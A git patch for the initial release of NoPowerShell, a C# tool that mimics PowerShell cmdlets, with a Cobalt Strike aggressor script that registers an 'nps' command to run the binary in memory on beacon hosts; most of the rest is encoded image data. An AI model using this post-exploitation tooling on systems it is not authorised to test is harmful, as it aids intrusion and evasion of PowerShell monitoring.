From ac8402734242d243e6c4949e631f7b94bc4c5cec Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Wed, 28 Nov 2018 23:45:03 +0100 Subject: [PATCH] Initial release --- NoPowerShell.cna | 24 ++ Pictures/CurrentlySupportedCommands.png | Bin 0 -> 83248 bytes Pictures/SampleCommands.png | Bin 0 -> 25563 bytes README.md | 91 +++++++- Source/NoPowerShell/NoPowerShell.sln | 22 ++ Source/NoPowerShell/NoPowerShell/App.config | 6 + .../NoPowerShell/Arguments/Argument.cs | 53 +++++ .../NoPowerShell/Arguments/ArgumentList.cs | 31 +++ .../NoPowerShell/Arguments/BoolArgument.cs | 43 ++++ .../NoPowerShell/Arguments/IntegerArgument.cs | 61 +++++ .../NoPowerShell/Arguments/StringArgument.cs | 61 +++++ .../Additional/GetSystemInfoCommand.cs | 133 +++++++++++ .../Commands/Additional/GetWhoamiCommand.cs | 61 +++++ .../Commands/Core/GetCommandCommand.cs | 110 +++++++++ .../Commands/Core/WhereObjectCommand.cs | 93 ++++++++ .../Commands/Management/CopyItemCommand.cs | 101 ++++++++ .../Management/GetChildItemCommand.cs | 217 ++++++++++++++++++ .../Commands/Management/GetContentCommand.cs | 55 +++++ .../Management/GetItemPropertyCommand.cs | 119 ++++++++++ .../Commands/Management/GetProcessCommand.cs | 44 ++++ .../Management/GetWmiObjectCommand.cs | 65 ++++++ .../Management/InvokeWmiMethodCommand.cs | 60 +++++ .../Commands/Management/RemovetemCommand.cs | 104 +++++++++ .../NetTCPIP/GetNetIPAddressCommand.cs | 63 +++++ .../Commands/NetTCPIP/GetNetRouteCommand.cs | 51 ++++ .../NetTCPIP/TestNetConnectionCommand.cs | 181 +++++++++++++++ .../NoPowerShell/Commands/PSCommand.cs | 198 ++++++++++++++++ .../Commands/SmbShare/GetSmbMappingCommand.cs | 50 ++++ .../NoPowerShell/Commands/TemplateCommand.cs | 94 ++++++++ .../Commands/Utility/FormatListCommand.cs | 73 ++++++ .../Commands/Utility/FormatTableCommand.cs | 73 ++++++ .../Utility/InvokeWebRequestCommand.cs | 69 ++++++ .../Commands/Utility/SelectObjectCommand.cs | 61 +++++ .../HelperClasses/CaseInsensitiveList.cs | 25 ++ .../HelperClasses/CommandResult.cs | 32 +++ .../NoPowerShell/HelperClasses/PipeParser.cs | 62 +++++ .../HelperClasses/ReflectionHelper.cs | 41 ++++ .../HelperClasses/ResultPrinter.cs | 163 +++++++++++++ .../HelperClasses/ResultRecord.cs | 21 ++ .../NoPowerShell/HelperClasses/WmiHelper.cs | 147 ++++++++++++ .../NoPowerShell/NoPowerShell.csproj | 83 +++++++ Source/NoPowerShell/NoPowerShell/Program.cs | 62 +++++ .../NoPowerShell/Properties/AssemblyInfo.cs | 36 +++ 43 files changed, 3137 insertions(+), 2 deletions(-) create mode 100644 NoPowerShell.cna create mode 100644 Pictures/CurrentlySupportedCommands.png create mode 100644 Pictures/SampleCommands.png create mode 100644 Source/NoPowerShell/NoPowerShell.sln create mode 100644 Source/NoPowerShell/NoPowerShell/App.config create mode 100644 Source/NoPowerShell/NoPowerShell/Arguments/Argument.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Arguments/ArgumentList.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Arguments/BoolArgument.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Arguments/IntegerArgument.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Arguments/StringArgument.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Additional/GetSystemInfoCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Additional/GetWhoamiCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Core/GetCommandCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Core/WhereObjectCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs create mode 100644 Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs create mode 100644 Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj create mode 100644 Source/NoPowerShell/NoPowerShell/Program.cs create mode 100644 Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs diff --git a/NoPowerShell.cna b/NoPowerShell.cna new file mode 100644 index 0000000..af0a89e --- /dev/null +++ b/NoPowerShell.cna @@ -0,0 +1,24 @@ +# _ _ ____ ____ _ _ _ +# | \ | | ___ | _ \ _____ _____ _ __/ ___|| |__ ___| | | +# | \| |/ _ \| |_) / _ \ \ /\ / / _ \ '__\___ \| '_ \ / _ \ | | +# | |\ | (_) | __/ (_) \ V V / __/ | ___) | | | | __/ | | +# |_| \_|\___/|_| \___/ \_/\_/ \___|_| |____/|_| |_|\___|_|_| +# +# @_bitsadmin +# https://github.com/bitsadmin +# + +$binary = "scripts/NoPowerShell.exe"; +$help = "Execute a command via the reflective NoPowerShell commandline"; +beacon_command_register("nps", $help, "Use: nps [command]\n\n$help"); + +alias nps +{ + if(!-exists $binary) + { + berror($1, "NoPowerShell binary cannot be found at $binary"); + return; + } + $args = replace($0, "nps ", ""); + bexecute_assembly($1, $binary, $args); +} diff --git a/Pictures/CurrentlySupportedCommands.png b/Pictures/CurrentlySupportedCommands.png new file mode 100644 index 0000000000000000000000000000000000000000..eec813f79028fe8330a707ea8a7f33ab0f1a7e7d GIT binary patch literal 83248 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 